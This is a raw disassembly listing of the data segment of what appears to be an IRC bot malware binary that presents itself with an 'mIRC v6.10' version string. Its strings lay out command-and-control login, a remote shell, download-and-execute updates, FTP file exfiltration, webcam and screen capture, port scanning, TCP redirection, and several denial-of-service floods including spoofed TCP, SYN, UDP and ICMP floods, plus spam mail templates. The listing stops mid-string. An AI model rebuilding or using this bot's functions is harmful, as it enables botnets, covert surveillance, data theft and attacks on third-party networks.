aMircV6_10Khale db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: seg002:off_43C168o align 10h a@_0 db '*@*',0 ; DATA XREF: seg002:off_43C164o aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_402472+61o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_402472+37o align 4 unk_42C6BC db 2Dh ; - ; DATA XREF: sub_4025EF+B5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+7AE8o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+7AD3o align 4 unk_42C6FC db 2Dh ; - ; DATA XREF: sub_40274D+7ABFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_42C71C db 2Dh ; - ; DATA XREF: sub_40274D+7AA5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_42C73C db 2Dh ; - ; DATA XREF: sub_40274D+7A50o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40274D+7A2Do align 10h unk_42C790 db 2Dh ; - ; DATA XREF: sub_40274D+79E9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40274D+79DAo ; sub_40274D+7A41o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40274D+79C6o align 10h asc_42C810: ; DATA XREF: sub_40274D+799Co unicode 0, <~>,0 dword_42C814 dd 0 ; DATA XREF: sub_40274D+7990o ; sub_40E841+14o unk_42C818 db 2Dh ; - ; DATA XREF: sub_40274D+7957o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 unk_42C83C db 2Dh ; - ; DATA XREF: sub_40274D+78E6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_40274D+78ACo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_42C888 db 2Dh ; - ; DATA XREF: sub_40274D+7884o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_42C8AC db 2Dh ; - ; DATA XREF: sub_40274D+785Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 10h unk_42C8D0 db 2Dh ; - ; DATA XREF: sub_40274D+7841o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_42C8F4 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_40274D+7827o dd 2E732520h, 0 unk_42C910 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409F01o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_42C93C db 2Dh ; - ; DATA XREF: sub_40274D+77ADo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 10h unk_42C960 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409EC6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_42C988 db 2Dh ; - ; DATA XREF: sub_40274D+776Fo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 10h aAll db 'all',0 ; DATA XREF: sub_40274D+7755o unk_42C9B4 db 2Dh ; - ; DATA XREF: sub_40274D+7625o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_42C9DC db 2Dh ; - ; DATA XREF: sub_40274D:loc_409D59o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_42CA00 db 2Dh ; - ; DATA XREF: sub_40274D+7602o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_42CA20 db 2Dh ; - ; DATA XREF: sub_40274D+75D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42CA48 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409D02o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h unk_42CA70 db 2Dh ; - ; DATA XREF: sub_40274D+758Ao db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 10h unk_42CA90 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409C9Ao db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 10h unk_42CAC0 db 2Dh ; - ; DATA XREF: sub_40274D+7543o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_42CAE0 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409C3Fo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_42CB10 db 2Dh ; - ; DATA XREF: sub_40274D+74EBo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_42CB34 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_40274D+74A0o dd 27732527h, 2Eh unk_42CB50 db 2Dh ; - ; DATA XREF: sub_40274D+7423o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_42CB74 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_40274D+73AFo dd 0 unk_42CB8C db 2Dh ; - ; DATA XREF: sub_40274D+736Fo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_42CBCC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_40274D+7316o dd 2Eh dword_42CBE4 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_40274D:loc_4099C3o dd 746E6573h, 2Eh unk_42CC00 db 2Dh ; - ; DATA XREF: sub_40274D+726Fo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 10h dword_42CC20 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_40274D+7230o dd 732520h unk_42CC38 db 2Dh ; - ; DATA XREF: sub_40274D+7228o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_42CC64: ; DATA XREF: sub_40274D+720Ao ; sub_412135+29o ... dw 0Ah unicode 0, <>,0 unk_42CC68 db 2Dh ; - ; DATA XREF: sub_40274D+71E0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 unk_42CC8C db 2Dh ; - ; DATA XREF: sub_40274D+71CAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 10h unk_42CCB0 db 2Dh ; - ; DATA XREF: sub_40274D:loc_40989Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 10h unk_42CCF0 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409895o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_42CD30 db 2Dh ; - ; DATA XREF: sub_40274D+7135o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_40274D:loc_4097FEo align 4 unk_42CD64 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4097EBo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 4 unk_42CD9C db 2Dh ; - ; DATA XREF: sub_40274D:loc_4097E4o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 10h unk_42CDD0 db 2Dh ; - ; DATA XREF: sub_40274D+7087o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_40274D:loc_409770o align 4 unk_42CE04 db 2Dh ; - ; DATA XREF: sub_40274D+7016o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 unk_42CE2C db 2Dh ; - ; DATA XREF: sub_40274D+6FE6o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_40274D:loc_4096E6o unk_42CE5C db 2Dh ; - ; DATA XREF: sub_40274D:loc_4096D3o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_42CE98 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4096CCo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_42CEC8 db 2Dh ; - ; DATA XREF: sub_40274D+6F6Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_40274D:loc_40968Eo align 4 dword_42CEFC dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_40274D+6F29o dd 2E732520h, 0 unk_42CF18 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409636o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_42CF48 db 2Dh ; - ; DATA XREF: sub_40274D+6ED3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 10h unk_42CF70 db 2Dh ; - ; DATA XREF: sub_40274D+6E3Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 10h unk_42CF90 db 2Dh ; - ; DATA XREF: sub_40274D+6DFFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 10h unk_42CFB0 db 2Dh ; - ; DATA XREF: sub_40274D+6DA5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_42CFCC dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_40274D+6D36o aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+6CFFo ; sub_40274D+7831o align 4 unk_42CFEC db 2Dh ; - ; DATA XREF: sub_40274D+6CDDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+6CCFo align 4 dword_42D014 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_40274D+6CA4o dd 25203A29h, 73h dword_42D030 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_40274D+6C38o dd 203A2973h, 7325h aModeS db 'MODE %s',0 ; DATA XREF: sub_40274D+6BE0o dword_42D054 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_40274D+6BB5o dd 203A2973h, 7325h aS_0 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+6B96o ; sub_40274D+6C19o ... align 4 aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_40274D+6B3Fo align 4 aPartS_0 db 'PART %s',0 ; DATA XREF: sub_40274D+6AFDo dword_42D08C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_40274D+6AB3o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42D0C8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_40274D+6A54o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42D0F4 db 2Dh ; - ; DATA XREF: sub_40274D+69E5o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42D130 db 2Dh ; - ; DATA XREF: sub_40274D+6986o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42D164 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409079o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_42D198 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_40274D+68F1o dd 7325h dword_42D1B0 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_40274D:loc_408FB6o aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_40274D+6825o ; sub_40274D+68CBo ... align 8 dword_42D1D8 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_40274D:loc_408F2Fo aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_42D220 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_40274D+67C3o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42D25C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_40274D+676Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40274D+66CBo align 4 dword_42D294 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_40274D+666Co dd 7325203Ah, 0 unk_42D2B0 db 2Dh ; - ; DATA XREF: sub_40274D+6661o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42D2D4 db 2Dh ; - ; DATA XREF: sub_40274D+65AFo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStartS db 'Failed to start search thread, error: <%d>.',0 unk_42D310 db 2Dh ; - ; DATA XREF: sub_40274D+654Bo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42D340 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_40274D:loc_408BFDo ; sub_40274D:loc_409BF4o unk_42D34C db 2Dh ; - ; DATA XREF: sub_40274D+6498o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42D370 db 2Dh ; - ; DATA XREF: sub_40274D:loc_408BC3o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42D3A8 db 2Dh ; - ; DATA XREF: sub_40274D+6457o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42D3E0 db 2Dh ; - ; DATA XREF: sub_40274D+63EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42D40C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_40274D+636Ao aFailedToStar_2 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42D448 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_40274D+6307o aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42D478 db 2Dh ; - ; DATA XREF: sub_40274D+625Fo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_3 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42D4B0 db 2Dh ; - ; DATA XREF: sub_40274D+61FDo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42D4E0 db 2Dh ; - ; DATA XREF: sub_40274D+616Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_4 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42D518 db 2Dh ; - ; DATA XREF: sub_40274D+6108o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42D548 db 2Dh ; - ; DATA XREF: sub_40274D+6086o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_5 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42D580 db 2Dh ; - ; DATA XREF: sub_40274D+6024o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42D5BC db 2Dh ; - ; DATA XREF: sub_40274D+5FA2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42D5FC db 2Dh ; - ; DATA XREF: sub_40274D+5F49o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42D628 db 2Dh ; - ; DATA XREF: sub_40274D+5E6Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42D66C db 2Dh ; - ; DATA XREF: sub_40274D+5E12o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42D6A8 db 2Dh ; - ; DATA XREF: sub_40274D+5D1Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_40274D+5C76o align 4 aSSS_0 db '[%s] * %s %s',0 ; DATA XREF: sub_40274D+5B99o align 4 dword_42D704 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40274D+5B05o ; sub_40274D+6D82o unk_42D710 db 2Dh ; - ; DATA XREF: sub_40274D+5A8Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42D750 db 2Dh ; - ; DATA XREF: sub_40274D+5A36o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_42D7A0 db 2Dh ; - ; DATA XREF: sub_40274D+598Do ; sub_40274D+5D75o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42D7D8 db 2Dh ; - ; DATA XREF: sub_40274D+5934o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 10h unk_42D840 db 2Dh ; - ; DATA XREF: sub_40274D+57C0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan, no IP specified.',0 align 4 unk_42D874 db 2Dh ; - ; DATA XREF: sub_40274D+5763o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, port is invalid.',0 align 4 unk_42D8A8 db 2Dh ; - ; DATA XREF: sub_40274D:loc_407D92o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40274D+563Eo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40274D+5625o aSS_2 db '-s:%s',0 ; DATA XREF: sub_40274D+560Eo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40274D+55EEo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_40274D+55CAo ; seg000:00414B6Ao align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40274D+55B9o align 4 unk_42D948 db 2Dh ; - ; DATA XREF: sub_40274D+5560o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_40274D+553Do align 10h unk_42D970 db 2Dh ; - ; DATA XREF: sub_40274D+550Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 10h unk_42D9B0 db 2Dh ; - ; DATA XREF: sub_40274D+54C2o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42D9E8 db 2Dh ; - ; DATA XREF: sub_40274D+5463o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h unk_42DA30 db 2Dh ; - ; DATA XREF: sub_40274D+53ADo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42DA64 db 2Dh ; - ; DATA XREF: sub_40274D+537Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42DA98 db 2Dh ; - ; DATA XREF: sub_40274D+536Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h unk_42DAD0 db 2Dh ; - ; DATA XREF: sub_40274D+52BFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40274D+52A2o align 4 unk_42DB24 db 2Dh ; - ; DATA XREF: sub_40274D+5278o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_11 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42DB60 db 2Dh ; - ; DATA XREF: sub_40274D+521Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42DBA8 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4078C4o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 10h unk_42DBE0 db 2Dh ; - ; DATA XREF: sub_40274D+5158o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42DC18 db 2Dh ; - ; DATA XREF: sub_40274D+50F4o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40274D+50E4o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40274D+50DDo unk_42DC5C db 2Dh ; - ; DATA XREF: sub_40274D+504Bo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_40274D+503Bo ; seg000:00416D30o align 10h aAck db 'ack',0 ; DATA XREF: sub_40274D+5024o ; seg000:00416D10o aHcon db 'hcon',0 ; DATA XREF: sub_40274D+4FB1o align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_40274D+4F9Eo unk_42DCA4 db 2Dh ; - ; DATA XREF: sub_40274D+4F82o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40274D+4F0Eo db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: 